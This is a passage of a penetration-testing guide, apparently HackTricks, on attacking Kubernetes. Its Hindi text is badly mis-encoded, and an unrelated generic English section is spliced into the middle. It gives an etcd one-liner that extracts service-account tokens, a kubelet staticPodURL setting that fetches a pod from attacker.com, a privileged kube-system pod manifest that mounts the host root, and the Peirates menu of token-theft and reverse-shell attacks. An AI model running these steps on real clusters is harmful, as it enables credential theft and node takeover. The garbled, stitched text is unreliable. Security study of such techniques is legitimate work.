рд╡рд╣реА рдХрдорд╛рдВрдб, рд▓реЗрдХрд┐рди рдХреБрдм-рд╕рд┐рд╕реНрдЯрдо рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдХреЗрд╡рд▓ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЯреЛрдХрди рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ greps

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
# Attacking Kubernetes from Inside a Pod

## Introduction

In this section, we will discuss various techniques that can be used to escalate privileges and perform lateral movement when an attacker gains access to a Kubernetes pod.

## Accessing the Kubernetes API

Once inside a pod, an attacker can access the Kubernetes API and perform actions such as reading secrets, creating or deleting resources, and more. This can be done by leveraging the service account token mounted inside the pod.

## Exploiting Insecure Configurations

Attackers can exploit insecure configurations within the cluster to gain additional privileges. For example, misconfigured RBAC roles or pod security policies can be abused to escalate privileges.

## Container Breakouts

In some cases, attackers can break out of the container to gain access to the host system. This can be achieved by exploiting vulnerabilities in the container runtime or kernel.

## Data Exfiltration

Attackers can exfiltrate sensitive data from the cluster by accessing secrets, configuration files, or other resources within the cluster. This data can then be used for further attacks or sold on the dark web.

## Summary

Attacking Kubernetes from inside a pod provides attackers with various opportunities to escalate privileges, move laterally within the cluster, and exfiltrate sensitive data. It is essential for organizations to secure their Kubernetes clusters and regularly audit for any misconfigurations or vulnerabilities.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

рд╕реНрдереИрддрд┐рдХ/рдкрд░реНрджрд░реНрд╢реАрдд рдкреЙрдбреНрд╕ рд╕реНрдерд╛рдпрд┐рддреНрд╡

рд╕реНрдереИрддрд┐рдХ рдкреЙрдбреНрд╕ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреЛрдб рдкрд░ kubelet рдбреЗрдорди рджреНрд╡рд╛рд░рд╛ рд╕реАрдзреЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ API рд╕рд░реНрд╡рд░ рдЙрдиреНрд╣реЗрдВ рдирд╣реАрдВ рджреЗрдЦрддрд╛ред рдЬреЛ рдкреЙрдбреНрд╕ рдирд┐рдпрдВрддреНрд░рдг рддрд▓ рдкрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ); рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, kubelet рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдХрд╛ рдзреНрдпрд╛рди рд░рдЦрддрд╛ рд╣реИ (рдФрд░ рдпрджрд┐ рдпрд╣ рд╡рд┐рдлрд▓ рд╣реЛрддрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рдкреБрдирдГ рдЖрд░рдВрдн рдХрд░рддрд╛ рд╣реИ)ред

рдЗрд╕рд▓рд┐рдП, рд╕реНрдереИрддрд┐рдХ рдкреЙрдбреНрд╕ рд╣рдореЗрд╢рд╛ рдПрдХ рдХреНрдпреВрдмрд▓реЗрдЯ рд╕реЗ рдмрд╛рдБрдзреЗ рдЬрд╛рддреЗ рд╣реИрдВ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреЛрдб рдкрд░ред

kubelet рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдХреЗ рд▓рд┐рдП рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ API рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдкрд░рджрд░реНрд╢реА рдкреЙрдб рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдиреЛрдб рдкрд░ рдЪрд▓ рд░рд╣реЗ рдкреЙрдбреНрд╕ рдХреЛ API рд╕рд░реНрд╡рд░ рдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рд╡рд╣рд╛рдВ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдкреЙрдб рдирд╛рдореЛрдВ рдХреЗ рдЖрдЧреЗ рдиреЛрдб рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдЧреНрд░рджрд╢реА рдбреИрд╢ рд▓рдЧрд╛ рд╣реЛрдЧрд╛ред

рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдХреА spec рдХрд┐рд╕реА рдЕрдиреНрдп API рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд╕рдВрджрд░реНрдн рдирд╣реАрдВ рдХрд░ рд╕рдХрддреА (рдЬреИрд╕реЗ, рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛, рдХреЙрдиреНрдлрд╝рд┐рдЧрдореИрдк, рд╕реАрдХреНрд░реЗрдЯ, рдЖрджрд┐)ред рдЗрд╕рд▓рд┐рдП рдЖрдк рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдореЗрдВ рдХрд┐рд╕реА рднреА рд╡рд┐рдЪрд┐рддреНрд░ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдкреЙрдб рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЕрд▓рдЧ рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдкреЙрдбреНрд╕ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП (рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИ)ред

рдЕрдЧрд░ рдЖрдк рдиреЛрдб рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдПрдХ рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдХрд╛рдлреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рд╡рд┐рднрд┐рдиреНрди рдиреЗрдорд╕реНрдкреЗрд╕ рдЬреИрд╕реЗ kube-system рдореЗрдВ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреА рд╕рдХреНрд╖рдорддрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИред

рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдорджрджрдЧрд╛рд░ рд╣реИрдВред рдЖрдкрдХреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ 2 рдЪреАрдЬреЗрдВ рдЪрд╛рд╣рд┐рдП:

  • --pod-manifest-path=/etc/kubernetes/manifests рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ kubelet рд╕реЗрд╡рд╛ рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ, рдпрд╛ kubelet рдХреЙрдиреНрдлрд╝рд┐рдЧ рдореЗрдВ (staticPodPath) рдФрд░ рд╕реЗрд╡рд╛ рдХреЛ рдкреБрдирдГ рдЖрд░рдВрдн рдХрд░реЗрдВ

  • /etc/kubernetes/manifests рдореЗрдВ рдкреЙрдб рдкрд░рд┐рднрд╛рд╖рд╛ рдкрд░ рдкрд░рд┐рднрд╛рд╖рд╛ рдмрдирд╛рдПрдВ

рдПрдХ рдФрд░ рдЕрдзрд┐рдХ рдЫрд┐рдкреА рд╣реБрдИ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:

  • kubelet рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░ staticPodURL рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рдФрд░ рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕реЗрдЯ рдХрд░реЗрдВ staticPodURL: http://attacker.com:8765/pod.yamlред рдпрд╣ рдХреБрдмрд▓реЗрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ URL рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреА рдХрд░реЗрдЧрд╛ред

рдкреЙрдб рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП kube-system рдореЗрдВ рдпрд╣рд╛рдБ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

рдкреЙрдбреНрд╕ + рдЕрдирд╕реНрдХреЗрдЬреНрдпреВрд▓реЗрдмрд▓ рдиреЛрдбреНрд╕ рдХреЛ рд╣рдЯрд╛рдПрдВ

рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рдПрдХ рдиреЛрдб рдХреЛ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рд╡рд╣ рдЕрдиреНрдп рдиреЛрдбреНрд╕ рд╕реЗ рдкреЙрдбреНрд╕ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдиреНрдп рдиреЛрдбреНрд╕ рдХреЛ рдкреЙрдбреНрд╕ рдХреЛ рдирд╣реАрдВ рдЪрд▓рд╛ рд╕рдХрддрд╛, рддреЛ рдкреЙрдбреНрд╕ рдХреЛ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝ рдиреЛрдб рдореЗрдВ рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЙрд╕реЗ рдЙрдирдореЗрдВ рдЪрд▓рд╛рдП рдЧрдП рдЯреЛрдХрдиреНрд╕ рдЪреБрд░рд╛ рд╕рдХреЗрдЧрд╛ред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ.

рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated